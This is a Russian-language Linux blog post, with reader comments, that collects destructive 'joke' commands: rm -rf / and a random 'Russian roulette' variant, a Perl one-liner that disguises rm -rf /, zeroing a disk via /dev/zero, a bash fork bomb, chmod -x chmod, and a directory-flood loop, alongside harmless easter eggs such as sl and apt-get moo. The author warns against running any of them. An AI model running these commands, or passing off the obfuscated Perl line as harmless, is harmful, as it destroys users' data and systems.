Шутки в стиле UNIX

Вирусов под Линукс мало, что бы там производители антивирусов не говорили. Поэтому в этом плане процветают различные шутки и подколы, временами весьма жестокие. Лишний раз заставит задуматься - а стоит ли запускать программу и работать с высокими привилегями?
Ниже - небольшая коллекция, которую мне удалось собрать.

ВНИМАНИЕ! НЕ ВЗДУМАЙТЕ ЗАПУСКАТЬ НА ОТВЕТСТВЕННЫХ МАШИНАХ НИ ОДНУ ИЗ ЭТИХ ПРОГРАММ! АВТОР БЛОГА НЕ НЕСЁТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ПОВРЕЖДЕНИЕ ДАННЫХ ПРИВЕДЁННЫМИ ПРОГРАММАМИ! НИЖЕСЛЕДУЮЩЕЕ ПРИВОДИТСЯ ИСКЛЮЧИТЕЛЬНО В ИЛЛЮСТРАТИВНЫХ ЦЕЛЯХ! НИКОГДА НЕ РАБОТАЙТЕ ПОСТОЯННО ПОД ROOT-АККАУНТОМ И НЕ ЗАПУСКАЙТЕ ПРОГРАММЫ, СМЫСЛ КОТОРЫХ ВАМ НЕ ЯСЕН! ПОСЛЕДСТВИЯ УЖАСНЫ!





Эпиграф
вирусы под линукс распространяются методом
"ух ты! дай посмотреть!" (C)


Классика жанра
Действие: rm -rf /
Системные требования: root
Последствия:
сносит все данные без предупреждений. Хотя бы раз так подкалывали, наверное, всех. Большинство других шуток есть "вариация на тему". Несмотря на очевидный смысл, множество форм белковой жизни выполняло её на своих машинах с целью "на посмотреть" (кстати, видеоролик, спасибо комментаторам). Есть вариант, найденный на БОРе, который называется "русская рулетка":
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив"
Что называется, для любителей острых ощущений.


Perl`овый юмор
Действие: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Системные требования: root, наличие perl
Последствия:
довольно остроумная шутка на perl, скрывающая истинную команду rm -rf /
Было на LOR и вызвало, естественно, потерю данных у многих из его постоянных обитателей, решивших "помочь" злобному автору "отладить" программу. Некоторые "помогали" на работающих "боевых" серверах.


Укусить себя за хвост

Действие: chmod -x chmod
Системные требования: root
Последствия:
естественно, сменить права потом невозможно ни у о одного файла.
Шутка, благодаря bash.org.ru ставшая легендой. Вообще, шутки с правами достаточно популярны.


Забой нулями
Действие: cat /dev/zero >/dev/hda
Системные требования: root
Последствия:
забивает нулями все разделы первого IDE-винчестера. С распространением SATA-дисков нужно кое-что изменить, но тем не менее.


Форк-бомба (forkbomb)
Действие: :(){ :|:&};:
Системные требования: не требуется
Последствия:
основная мысль - заполнить ресурсы системы бесполезными копиями программы. По причине исчерпания ресурсов система по крайней мере на некоторое время становится недоступна для пользователя. На том же LOR обсуждалось и опробовалось многочисленными участниками. При правильном использовании команды ulimit ущерб минимален (обычно по умолчанию количество процессов ставится нелимитированным).


Музыка в стиле драм
Действие: cat /boot/kernel > /dev/dsp
Системные требования: не требуется
Последствия:
из колонок начнут доноситься жуткие звуки, ибо загрузочный образ ядра напрямую будет передан на звуковое устройство. Кому-то нравится вариант cat /dev/mouse > /dev/dsp


Файл-флуд
Действие: выполнение скрита
while : ; do
mkdir subdir
cd subdir
done
Системные требования: специальных требований нет
Последствия:
создание огромного количества подкаталогов может исчерпать место на диске и во всяком случае существенно замедляет систему. Впрочем, через некоторое время это будет прекращено: слишком длинное имя получится, о чём система сообщит. Эффективно предотвращается при помощи дисковых квот.


ASCII-art, или искусство псевдографики

Действие: псевдографические рисунки в консоли
Системные требования: специальных требований нет
Последствия: Это, как правило, просто шутки без разрушительных последствий. Например, если от пользователя набрать команду
apt-get moo
То в ответ будет выдано:




Так же в Дебиане есть пакет sl (
еще со времен potato, как говорит комментатор Anton). Его действие сводится к тому, что если пользователь набирает по ошибке sl в консоли, в консоль выезжает анимированный псевдографический паровоз, проносится через консоль и возвращает ей управление.


Вреда нет и пользы тоже, но забавно...

44 комментариев: |высказаться!| RSS-лента дискуссии.|
Igor комментирует...

про чмод:
http://5h00.livejournal.com/730534.html

Анонимный комментирует...

есть еще одна неприятная штука под рутом на многопользовательской тачке - у меня права на файлы в домашней папке не совпадали с моими - и я сделал sudo chown -R user:user .* ; Очень неприятная штука.

Михаил Саушкин комментирует...

Мда, напоминает анекдот про идилию в семье программиста: Папа, а что такое форматинг диск Ц из сомплетед?
Жестоко.

Анонимный комментирует...

Иэх...Этот cat "test" мне помешал, видимо, 10-ку выбить три раза подряд на It-квизе.

Анонимный комментирует...

а про чмод - прикольно, не знал...csrkh

Анонимный комментирует...

Спасибо за chmod :)

Ivan A-R комментирует...

Ключевая фраза здесь "Системные требования: root" =)
А тот кто создаёт условия для выполнениях этих требований, сам себе злобный буратина =)

Pento комментирует...

Красота! =)

virens комментирует...

2 Igor пишет...
про чмод:
http://5h00.livejournal.com/730534.html

Ага, именно оно.

2 san-sanych-r пишет...
я сделал sudo chown -R user:user .*
Да, но это вариация на тему прав.

2 Михаил Саушкин пишет...
Мда... Жестоко.
Реальные, кстати, истории, так что всё в порядке. Ну и день сегодня такой.

2 creator-and-co пишет...
Спасибо за chmod :)
Пожалуйста. Только у себя не пробуйте :-)

2 Ivan A-R пишет...
Ключевая фраза здесь "Системные требования: root" =)
Для чмода, а для форкбомбы, например, не нужно.

А тот кто создаёт условия для выполнениях этих требований, сам себе злобный буратина =)
А вот тут, Иван, вы совершенно правы!

Анонимный комментирует...

Поэксперементировал со звуком - ничего особенного. Это звучит как будто бы слушаешь обычным телефоном dual-up модем на связи.

Unknown комментирует...

Вообще rm -rf / не работает. :)
Проверял на виртуальной машине. Оно не позволяет удалить /
Так что, как минимум, необходимо писать rm -rf /* Но даже в этом варианте система вовсе не молча удаляет все, а очень долго и громко ругается в процессе попыток удаления каталогов /proc и /sys ОС после этого конечно же неработоспособна. :)

Анонимный комментирует...

Попробывал форк-бомбу, т.е. эту загадочную комбинацию - система ругается на синтаксическую ошибку. Так что эта комбинация ни более чем фигня.

Анонимный комментирует...

А вот у меня форк-бомба сработала совершенно четко- через минуту перезагрузиться пришлось.

plin2s комментирует...

Виктор < вообщето работает =)
был однажды случай - удалял какую то там папку... ну не знаю я как после первого / пробел очутился.... =)

Evgeny комментирует...

http://www.youtube.com/watch?v=D4fzInlyYQo
Running rm -rf / on Linux

Evgeny комментирует...

Хотя http://www.youtube.com/watch?v=wWOjmvWPRvQ поинтереснее будет.

Unknown комментирует...

rm -rf / работает прекрасно, проверено не единожды. Сопротивлялась только SUSE, но там исходники rm подправлены конкретно на счет rm -rf /

А если уж говорить про шутки, то у меня любимая шутка - это sl (apt-get install sl). Юзеры очень радовались, когда опечатывались.

virens комментирует...

2 Виктор пишет...
Вообще rm -rf / не работает. :)
Работает всё.

долго и громко ругается в процессе попыток удаления каталогов /proc и /sys ОС после этого конечно же неработоспособна. :)
В том и смысл - когда доходит до матюгов на proc, системы-то уже нет.

2 Анонимный пишет...
Попробывал форк-бомбу... Так что эта комбинация ни более чем фигня.
Хе, шутник! Ваш коллега-анонимус чуть ниже попробовал (хотя я настойчиво в посте просил этого не делать :-)). Зависает наглухо система. Есть, конечно, ulimit, но кто им пользуется на десктопной машине!?

2 Анонимный пишет...
А вот у меня форк-бомба сработала совершенно четко- через минуту перезагрузиться пришлось.
Всё так и есть.


Evgeny пишет...
Running rm -rf / on Linux
Спасибо за видеоролик!

2 Anton пишет...
Сопротивлялась только SUSE, но там исходники rm подправлены конкретно на счет rm -rf /
Ну, так не интересно :-)

А если уж говорить про шутки, то у меня любимая шутка - это sl
А можно подробнее? Искал в репозиториях - не нашел ничего такого...

Анонимный комментирует...

Меня заинтересовало строение форк-бомбы. Не знал, что есть команды скобами. Если кому не лень, просветите пожалуйста строение форк-бомбы.

Deepwalker комментирует...

Значение форк бомбы вроде как в том, что : это имя функции.

bak1an комментирует...

прикольно. интересно :)

Unknown комментирует...

Про sl - лет семь оно точно в дистрибутиве есть, еще со времен potato. В sources.list у меня подключены main, non-free и contrib.

banshee:~> apt-cache show sl
Package: sl
Priority: optional
Section: games
Installed-Size: 124
Maintainer: Hiroyuki Yamamoto
Architecture: i386
Version: 3.03-15
Depends: libc6 (>= 2.7-1), libncurses5 (>= 5.6+20071006-3)
Filename: pool/main/s/sl/sl_3.03-15_i386.deb
Size: 25124
MD5sum: e87a7eb36ef65b6f56566094c479f286
SHA1: f019fde602bde1088def75db686e7032b7284b51
SHA256: cafda15411358089c1cc853a409a5b6981809b383990bb044fb4518f1486c44d
Description: Correct you if you type `sl' by mistake
Sl is a program that can display animations aimed to correct you
if you type 'sl' by mistake.
SL stands for Steam Locomotive.
Tag: game::toys, interface::text-mode, role::program, uitoolkit::ncurses, use::entertaining

virens комментирует...

2 Anton пишет...
Про sl - лет семь оно точно в дистрибутиве есть, еще со времен potato.
Спасибо, не знал (может, потому, что с Вуди начал? :-))

Попробовал, понравилось. Добавил в пост.

Unknown комментирует...

по поводу rm -rf /
Может я и не прав. :) На Дебиане с которого пишу проверять не буду. :)
А вот на виртуальной машине мандрива 2008 сказала на эту команду: "нельзя удалить /" И все. Как уже сказал, пришлось набрать rm -rf /*

Анонимный комментирует...

"Музыка в стиле драм
Действие: cat /boot/kernel > /dev/dsp"
--
Лучше cat /dev/core >/dev/dsp

Анонимный комментирует...

Попробовал форкбомбу, в дебиане с самосборным ядром
графика начала тормазить, переключился в консоль, один раз смог залогиниться под рутом, потом на других консолях - таймаут логина
запустил nice --15 bash - не помогло, хоть приоритет и высокий, но тормаза были при старте нового процесса.
из этой консоли нормально работал htop - 8000 с гаком процессов
пробовал
ps ax -u ivan | grep bash | grep -v grep | awk '{print $1;}' | xargs -I'{}' kill -9 {}
так и не дождался,
но ребутаться не пришлось - спасла магия ядра линукса - Alt+PrtScr+E, Alt+PrtScr+I
U S и B не делал
потом залогинился рутом, сделал telinit 2, запустил графику и все

Анонимный комментирует...

Музыка в стиле драм напомнила работу БК-0010 с магнитофоном

Михаил Саушкин комментирует...

В копилку ASCII арта

http://linux.xlibs.net/2008/03/04/ascii_art_cowsay_and_figlet/

Анонимный комментирует...

cmatrix > /dev/console

Я так прикольнулся над парнем который на серваке из дома работал :)

Анонимный комментирует...

Почему с такой гордостью преподносится то, что удалить корень можно только с правами суперпользователя, тогда как удаление (без доп. прав) моего домашнего каталога с личными документами намного более деструктивно? Непонятно.

Анонимный комментирует...

Про sl не знал, улыбнуло :)

Недавно я "свою" коллекцию "Пасхальных яиц" собрал.

virens комментирует...

2 Ivan1986 пишет...
Попробовал форкбомбу, в дебиане с самосборным ядром
Кстати, спасибо за описание. Форкбомбу я запускал в эмуляторе, и когда он начал тормозить, просто закрыл эмулятор и всё :-)

2 Михаил Саушкин пишет...
В копилку ASCII арта
Спасибо!

2 Анонимный пишет...
cmatrix > /dev/console
Оригинально, а что после этого было? :-)

2 Анонимный пишет...
удаление (без доп. прав) моего домашнего каталога с личными документами намного более деструктивно?
Юникс-системы вообще-то многопользовательские, а бекапы от имени рута никто не отменял.

Речь в посте идёт о разрушении всей системы.

2 tallman пишет...
Недавно я "свою" коллекцию "Пасхальных яиц" собрал.
Забавно :-) Унёс к себе в избранное.

Анонимный комментирует...

давным-давно пробовал "русскую рулетку для линуксоида". первые два раза "выжил"))
на третий спасло то, что система попыталась первыми удалить файлы с разделов NTFS, которые были read-only. пока система ругалась, я не долго думая, дал задний ход: "Ctrl+C")))
# locke314

Анонимный комментирует...

>>cmatrix > /dev/console
>Оригинально, а что после этого было? :-)

забыл написать - /dev/console не родной консоле в дев а нужная пользовательская (когда писал забыл что такое устройство существует)

У парня была паника первую минуту :) просто он после суток домой пришел и хотел подправить один скрипт :) А тут ТАКОЕ по консоле бегать стало...
Жалко про прогу которая текст в анси показывает не знал - сначала написалбы ему на консоль Matrix is wanting you :)

Анонимный комментирует...

echo -e "\e[1;1H\e[2JMatrix HAS you..." > /dev/console

Alex комментирует...

хек мне вот нравитсо
kill 1 -1
как то раз перепутал )

Unknown комментирует...

К слову об 'rm -rf'
Перепутал и написал что-то вроде (приблизительно помню)
find / -exec tee {} \;
хотел все имена собрать
хорошо, что раздел гле у меня все лежит перемонтировал в readonly
А неполадки не сразу заметил
только когда все команды перстали запускаться

-=Sphynkx=- комментирует...

А если уж говорить про шутки, то у меня любимая шутка - это sl
А можно подробнее? Искал в репозиториях - не нашел ничего такого...

Тут.

Анонимный комментирует...

ломаем:

# chmod -x /bin/chmod

чиним:

# cp /bin/ls ~/chmod
# cat /bin/chmod > ~/chmod
# ~/chmod +x /bin/chmod
# rm ~/chmod

Анонимный комментирует...

добавьте про псевдографику:
aptitude moo
aptitude -v moo
aptitude -vv moo
aptitude -vvv moo
aptitude -vvvv moo
aptitude -vvvvv moo
aptitude -vvvvvv moo

-=Sphynkx=- комментирует...

>чиним:
Вспомнил давече про эту шутку в одной линуксовой конфе. Нашелся пожалуй, самый элегантный способ:

/lib/ld-linux-x86-64.so.2 /bin/chmod +x /bin/chmod

(ну или у кого какая ld-linux в системе - естественно).

Анонимный комментирует...

Еще есть старый юниксоидный прикол для шеллскриптеров:

#!/bin/rm

Анонимный комментирует...

Вот ведь всякие гадости запоминаются с первого раза.А действительно нужные команды нужно долго запоминать!

AccessD комментирует...

Кстати, вот прямо сейчас решил озадачиться и сделать:
# chmod -x /bin/chmod
Рассчитывал починить прямой правкой айнода. В онлайне не получается - надо ремаунтить корень на ro после изменения для чека, на живую не катит.
Решил проблему так:

# yum install gcc -y
# vi hello.c

hello.c:
#include
#include
#include

main() {
printf("hello\n");
chmod("/bin/chmod", 0755);
}

# gcc hello.c
# ./a.out
# ls -l /bin/chmod
-rwxr-xr-x 1 root root 54384 Mar 26 14:31 /bin/chmod

Отправить комментарий

Подписаться на RSS-ленту комментариев к этому посту.